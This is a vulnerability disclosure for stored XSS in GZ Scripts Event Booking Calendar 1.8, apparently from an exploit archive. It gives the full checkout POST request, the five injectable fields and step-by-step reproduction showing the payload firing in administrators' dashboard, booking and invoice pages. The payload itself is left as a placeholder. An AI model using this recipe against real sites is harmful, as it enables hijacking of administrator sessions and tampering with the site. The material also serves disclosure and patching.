┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││                                     C r a C k E r                                    ┌┘
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

 ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                  [ Vulnerability ]                                   ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:  Author   : CraCkEr                                                                    :
│  Website  : https://gzscripts.com/event-booking-calendar.html                          │
│  Vendor   : GZ Scripts                                                                 │
│  Software : Event Booking Calendar 1.8                                                 │
│  Vuln Type: Stored XSS                                                                 │
│  Impact   : Manipulate the content of the site                                         │
│                                                                                        │
│────────────────────────────────────────────────────────────────────────────────────────│
│                                                                                       ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:                                                                                        :
│  Release Notes:                                                                        │
│  ═════════════                                                                         │
│                                                                                        │
│  Allow Attacker to inject malicious code into website, give ability to steal sensitive │
│  information, manipulate data, and launch additional attacks.                          │
│                                                                                        │   
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                                                                      ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09  
       
  CryptoJob (Twitter) twitter.com/0x0CryptoJob
     
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                    © CraCkEr 2023                                    ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘


## Stored XSS

-----------------------------------------------
POST /EventBookingCalendar/load.php?controller=GzFront&action=checkout&cid=1&layout=calendar&show_header=T&local=3 HTTP/1.1

payment_method=pay_arrival&event_prices%5B51%5D=1&event_prices%5B50%5D=1&event_prices%5B49%5D=1&title=mr&male=male&first_name=[XSS Payload]&second_name=[XSS Payload&phone=[XSS Payload&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload&additional=xxx&captcha=qqxshj&terms=1&event_id=17&create_booking=1
-----------------------------------------------

POST parameter 'first_name' is vulnerable to XSS
POST parameter 'second_name' is vulnerable to XSS
POST parameter 'phone' is vulnerable to XSS
POST parameter 'address_1' is vulnerable to XSS
POST parameter 'country' is vulnerable to XSS


## Steps to Reproduce:

1. As a [Guest User] Choose any Day Colored by Green on the Calendar - Click on it & Press [Booking]
2. Inject your [XSS Payload] in "First Name"
3. Inject your [XSS Payload] in "Last Name"
4. Inject your [XSS Payload] in "Phone"
5. Inject your [XSS Payload] in "Address Line 1"
6. Inject your [XSS Payload] in "Country"


7. Accept with terms & Press [Booking]
   XSS Fired on Local User Browser

8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)
   XSS Will Fire and Executed on his Browser

9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)
   XSS Will Fire and Executed on his Browser
   
10. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php?controller=GzInvoice&action=index)
    XSS Will Fire and Executed on his Browser
   
   
[-] Done